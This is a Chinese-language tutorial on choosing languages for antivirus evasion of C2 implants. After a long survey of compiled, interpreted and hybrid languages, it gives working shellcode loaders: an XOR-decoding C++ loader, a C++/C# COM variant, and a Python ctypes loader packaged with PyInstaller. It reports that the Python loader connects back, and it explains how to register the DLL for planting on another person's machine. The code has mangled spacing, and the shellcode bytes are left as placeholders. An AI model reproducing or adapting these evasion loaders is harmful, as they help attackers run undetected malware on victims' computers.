什么語言適合做C2工具的免殺？

1.什么語言適合做C2工具的免殺

首先我們需要了解一下編程語言的分類,大致可以分為以下幾種.

1.低級(jí)語言

機(jī)器語言（二進(jìn)制代碼）、匯編語言（面向機(jī)器的程序設(shè)計(jì)語言）和符號(hào)語言。匯編語言源程序必須經(jīng)過匯編，生成目標(biāo)文件，然后執(zhí)行。

機(jī)器語言優(yōu)缺點(diǎn)如下：

優(yōu)點(diǎn)：直接執(zhí)行，速度快，資源占用少。

缺點(diǎn)：可讀性、可移植性差，編程繁雜；

匯編語言優(yōu)缺點(diǎn)如下：

優(yōu)點(diǎn)：能夠保持機(jī)器語言的一致性，直接、簡(jiǎn)捷，并能像機(jī)器指令一樣訪問、控制計(jì)算機(jī)的各種硬件設(shè)備，如磁盤、存儲(chǔ)器、CPU、I/O端口等。使用匯編語言，可以訪問所有能夠被訪問的軟、硬件資源，目標(biāo)代碼簡(jiǎn)短，占用內(nèi)存少，執(zhí)行速度快。

缺點(diǎn)：不同的處理器有不同的匯編語言語法和編譯器，編譯的程序無法在不同的處理器上執(zhí)行，缺乏可移植性，難于從匯編語言代碼上理解程序設(shè)計(jì)意圖，可維護(hù)性差，即使是完成簡(jiǎn)單的工作也需要大量的匯編語言代碼，很容易產(chǎn)生bug，難于調(diào)試，使用匯編語言必須對(duì)某種處理器非常了解，而且只能針對(duì)特定的體系結(jié)構(gòu)和處理器進(jìn)行優(yōu)化，開發(fā)效率很低，周期長且單調(diào)。

2.高級(jí)語言

BASIC（True basic、Qbasic、Virtual Basic）、C、C++、PASCAL、FORTRAN、智能化語言（LISP、Prolog）、動(dòng)態(tài) 語言(Python、PHP、Ruby、Lua)等等。高級(jí)語言源程序可以用解釋、編譯兩種方式執(zhí)行。通常用后一種。我們使用的C語言就是使用的后者。

高級(jí)語言的優(yōu)缺點(diǎn)如下:

優(yōu)點(diǎn)：高級(jí)語言接近算法語言，易學(xué)、易掌握，級(jí)語言為程序員提供了結(jié)構(gòu)化程序設(shè)計(jì)的環(huán)境和工具，使得設(shè)計(jì)出來的程序可讀性好，可維護(hù)性強(qiáng)，可靠性高；高級(jí)語言遠(yuǎn)離機(jī)器語言，與具體的計(jì)算機(jī)硬件關(guān)系不大，可移植性好，重用率高；由于把繁雜瑣碎的事務(wù)交給了編譯程序去做，所以自動(dòng)化程度高，開發(fā)周期短，且程序員得到解脫，可以集中時(shí)間和精力去從事對(duì)于他們來說更為重要的創(chuàng)造性勞動(dòng)，以提高程序的質(zhì)量。

缺點(diǎn)：運(yùn)行速度基本上比直接用匯編寫的慢，速度和程序大小與編譯軟件有關(guān)。

按轉(zhuǎn)換方式可分為三類：① 編譯型語言; ② 解釋型語言；③ 混合型語言。

計(jì)算機(jī)不能直接的理解高級(jí)語言，只能直接理解機(jī)器語言，所以必須要把高級(jí)語言翻譯成機(jī)器語言，計(jì)算機(jī)才能執(zhí)行高級(jí)語言的編寫的程序。翻譯的方式有兩種，一個(gè)是編譯，一個(gè)是解釋。兩種方式只是翻譯的時(shí)間不同。

編譯型語言

需通過編譯器（compiler）將源代碼編譯成機(jī)器碼，之后才能執(zhí)行的語言。一般需經(jīng)過編譯（compile）、鏈接（linker）這兩個(gè)步驟。編譯是把源代碼編譯成機(jī)器碼，鏈接是把各個(gè)模塊的機(jī)器碼和依賴庫串連起來生成可執(zhí)行文件。編譯和執(zhí)行是分開的，但是不能跨平臺(tái)。

優(yōu)點(diǎn)：編譯器一般會(huì)有預(yù)編譯的過程對(duì)代碼進(jìn)行優(yōu)化。因?yàn)榫幾g只做一次，運(yùn)行時(shí)不需要編譯，所以編譯型語言的程序執(zhí)行效率高?？梢悦撾x語言環(huán)境獨(dú)立運(yùn)行。

缺點(diǎn)：編譯之后如果需要修改就需要整個(gè)模塊重新編譯。編譯的時(shí)候根據(jù)對(duì)應(yīng)的運(yùn)行環(huán)境生成機(jī)器碼，不同的操作系統(tǒng)之間移植就會(huì)有問題，需要根據(jù)運(yùn)行的操作系統(tǒng)環(huán)境編譯不同的可執(zhí)行文件。

代表語言：C、C++、Pascal、Object-C、swift等。

解釋型語言

解釋性語言的程序不需要編譯，相比編譯型語言省了道工序，解釋性語言在運(yùn)行程序的時(shí)候才逐行翻譯。每一個(gè)語句都是執(zhí)行的時(shí)候才能翻譯。這樣解釋性語言每執(zhí)行一次要翻譯一次，效率表較低。

優(yōu)點(diǎn)：有良好的平臺(tái)兼容性，在任何環(huán)境中都可以運(yùn)行，前提是安裝了解釋器（虛擬機(jī)）。靈活，修改代碼的時(shí)候直接修改就可以，可以快速部署，不用停機(jī)維護(hù)。

缺點(diǎn)：每次運(yùn)行的時(shí)候都要解釋一遍，性能上不如編譯型語言。

代表語言：JavaScript、Python、Erlang、PHP、Perl、Ruby等。

混合型語言

混合型語言也叫半編譯型語言。比如java、C#，C#在編譯的時(shí)候不是直接編譯成機(jī)器碼而是中間碼，.NET平臺(tái)提供了 中間語言運(yùn)行庫運(yùn)行中間碼，中間語言運(yùn)行庫類似于Java虛擬機(jī)。.net在編譯成IL代碼后，保存在dll中，首次運(yùn)行時(shí)由JIT在編譯成機(jī)器碼緩存在內(nèi)存中，下次直接執(zhí)行。

java解釋器采用生成與系統(tǒng)無關(guān)的字節(jié)代碼指令技術(shù)。也就是說，在任何不同的操作系統(tǒng)上，只要正確安裝了java運(yùn)行系統(tǒng)，就有了編寫調(diào)試java程序的平臺(tái)，在分布式應(yīng)用中，java的這個(gè)特點(diǎn)使同一個(gè)java程序能在不同的系統(tǒng)上運(yùn)行，從而提高了軟件生產(chǎn)效率?？梢浦残允强缙脚_(tái)特性的一個(gè)延伸，即具有了跨平臺(tái)性，就保證了可移植性。java程序、java類庫、java編譯器、java系統(tǒng)都具有可移植性。

另外有一個(gè)特殊的情況，正常情況下JavaScript屬于解釋性語言，V8引擎是被設(shè)計(jì)用來提高網(wǎng)頁瀏覽器內(nèi)部JavaScript執(zhí)行的性能，為了提高性能，v8會(huì)把js代碼轉(zhuǎn)換為高效的機(jī)器碼，而不在是依賴于解釋器去執(zhí)行。v8引入了JIT在運(yùn)行 時(shí)把js代碼進(jìn)行轉(zhuǎn)換為機(jī)器碼。這里的主要區(qū)別在于V8不生成字節(jié)碼或任何中間代碼。這里的特殊之處在于JIT做代碼優(yōu)化(同時(shí)生成編譯版本)；解釋型語言無法做到這些。

3.結(jié)論

綜上所述我們基本是所有語言都可以對(duì)軟件進(jìn)行免殺,那么這里推薦幾個(gè)語言 C/C++/C#/PYTHON/GO 這里我們會(huì)針對(duì)這些進(jìn)行免殺的測(cè)試,為什么這里混合型語言選擇C#而不是JAVA 因?yàn)镃#的.Net Framework環(huán)境在win7以上機(jī)器上已經(jīng)存在了只不過是版本不同,而Java的解釋器環(huán)境就不是了,而且很大,這樣我們就不是很容易的植入對(duì)方機(jī)器,從而不是很容易執(zhí)行我們自身程序.

2.C/C++對(duì)ShellCode免殺

1.原理

用C/C++對(duì)ShellCode進(jìn)行異或加密 在執(zhí)行

2.代碼實(shí)現(xiàn)

#include
#include

// 異或22的ShellCode 自己的SellCode
uint8_tcode[933] = { 0};

intmain()
{
for(auto& value : code)
{
value ^= 22;
}

DWORD old;
VirtualProtect(&code, sizeofcode, PAGE_EXECUTE_READWRITE, &old);

((void(*)()) & code)();

return0;
}

3.效果

3.C++ and C# 對(duì)ShellCode進(jìn)行免殺

1.原理

使用COM組件 用C++調(diào)用C# DLL進(jìn)行免殺

2.代碼實(shí)現(xiàn)

選擇類庫 .NET Framework 創(chuàng)建一個(gè)類庫項(xiàng)目

usingSystem;
usingSystem.Collections;
usingSystem.Collections.Generic;
usingSystem.Linq;
usingSystem.Net.Http;
usingSystem.Reflection;
usingSystem.Runtime.InteropServices;
usingSystem.Text;
usingSystem.Threading.Tasks;

namespaceClassLibrary1
{
[Guid("75A14A5E-968D-4140-A8BA-746DFBAFE408")]
publicinterfaceIClass1
{
[DispId(1)]
voidExeSellCode(IntPtr shellCodeAddr, intlen);
}

delegatevoidExeCall();
publicclassClass1: IClass1
{
publicvoidExeSellCode(IntPtr shellCodeAddr, intlen)
{
IntPtr intPtr = IntPtr.Zero;
VirtualProtect(shellCodeAddr, len, 0x40, outintPtr);
ExeCall call =(ExeCall)(Marshal.GetDelegateForFunctionPointer(shellCodeAddr, typeof(ExeCall)));
call.DynamicInvoke();
}

[DllImport("kernel32.dll")]
staticexternboolVirtualProtect(IntPtr lpAddress, Int64 dwSize, uintflNewProtect, outIntPtr lpflOldProtect);
}
}

#include 
#import "ClassLibrary1.tlb"
using namespace ClassLibrary1;


uint8_t code[933] = {
ShellCode
};

voidExeSellCode(longlongshellCodeAddr, intlen)
{
CoInitialize(nullptr);
ClassLibrary1::IClass1Ptr ptr(__uuidof(Class1));
ptr->ExeSellCode((longlong)shellCodeAddr, len);
ptr->Release();
CoUninitialize();
}

intmain()
{
for(auto& value : code)
{
value ^= 22;
}

ExeSellCode((longlong)&code, sizeof(code));

return0;
}

3.效果

4.Python對(duì)ShllCode進(jìn)行免殺

1.原理

Python寫完之后 可以通過CPython 進(jìn)行打包成二進(jìn)制文件直接運(yùn)行,體積較大.

2.代碼實(shí)現(xiàn)

importctypes


defmain():
# length: 933 bytes
buf = b"Python ShellCode xff"
shellcode = bytearray(buf)
size = len(shellcode)
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.restype = ctypes.c_uint64
MEM_COMMIT = 0x00001000
PAGE_EXECUTE_READWRITE = 0x40
# 申請(qǐng)內(nèi)存空間
ptr = kernel32.VirtualAlloc(
ctypes.c_int(0), # 基址可以填0, 但是數(shù)據(jù)類型需要轉(zhuǎn)換
ctypes.c_int(size), # 設(shè)置堆棧大小
ctypes.c_int(MEM_COMMIT), # 提交到物理內(nèi)存
ctypes.c_int(PAGE_EXECUTE_READWRITE) # 設(shè)置權(quán)限為可讀可寫可執(zhí)行
)
# 把shellcode放入緩沖區(qū)
buf = (ctypes.c_char * size).from_buffer(shellcode)
kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), # 申請(qǐng)的內(nèi)存
buf, # shellcode
ctypes.c_int(size) # 移動(dòng)的數(shù)據(jù)大小
)
# 創(chuàng)建線程調(diào)用shellcode
hThread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr), # 利用線程函數(shù)調(diào)用shellcode
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)) # 線程id為指針類型, 需要傳入地址, 所以用ctypes.pointer
)
# 等待線程執(zhí)行完畢, 關(guān)閉程序
# INIFITE在c的設(shè)定中值為: -1
kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1))


if__name__ == '__main__':
main()

需要打包成exe

pip install pyinstaller -> pyinstaller -F .main.py --noconsole

3.效果

可以正常上線

6.總結(jié)

1.文字總結(jié)

綜上所述,我們可以看到的是對(duì)于ShellCode異或之后目前測(cè)試的只有Python可上線,但是并不代表最好用Python來寫,恰恰相反我們基本不會(huì)去用Python,因?yàn)樯傻奈募?剛剛生成的大概為8M左右,不利于我們植入到(敵軍)電腦.

這里只是介紹了可以用不同語言去來執(zhí)行上線ShellCode,當(dāng)然效果也肯定是有所不同的,其他語言還需要自己去測(cè)試,不過目前效果很好的有GO,C++還算不錯(cuò),剩下的就靠你們聰明的大腦去想了.

語言并不能對(duì)免殺起到關(guān)鍵的作用,最主要的還是一些稀奇古怪的思路和方法,在今后的帖子里面將會(huì)持續(xù)更新相關(guān)內(nèi)容.

2.注意點(diǎn)

C# 和 C++里面需要注意的點(diǎn) C# 類庫要生成COM

這樣會(huì)自動(dòng)在系統(tǒng)里注冊(cè)dll 如果需要植入到別人電腦里面 需要先將dll加入緩沖區(qū)在注冊(cè)

gacutil /i DLL路徑 將這個(gè)DLL加入的全局緩存里

regasm DLL路徑 注冊(cè)這個(gè)dll

Python注意點(diǎn)

需要將python文件生成可執(zhí)行文件,如果不想生成可執(zhí)行文件,也可以將Python環(huán)境打包到對(duì)方環(huán)境然后直接Python腳本。

審核編輯：劉清